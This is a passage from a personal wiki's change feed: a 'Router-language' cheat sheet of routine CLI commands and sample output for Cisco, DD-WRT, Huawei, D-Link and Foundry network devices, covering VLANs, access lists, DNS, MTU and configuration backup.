&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6401</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6401"/>
		<updated>2022-06-21T08:42:02Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* change Interface MTU */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing THISSSS&lt;br /&gt;
 nvram show|grep THISSSS&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing THISSSS&lt;br /&gt;
 for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== del vlan ===&lt;br /&gt;
[RouterBackup]undo interface Vlanif 6  &lt;br /&gt;
[RouterBackup]undo Vlan 6&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
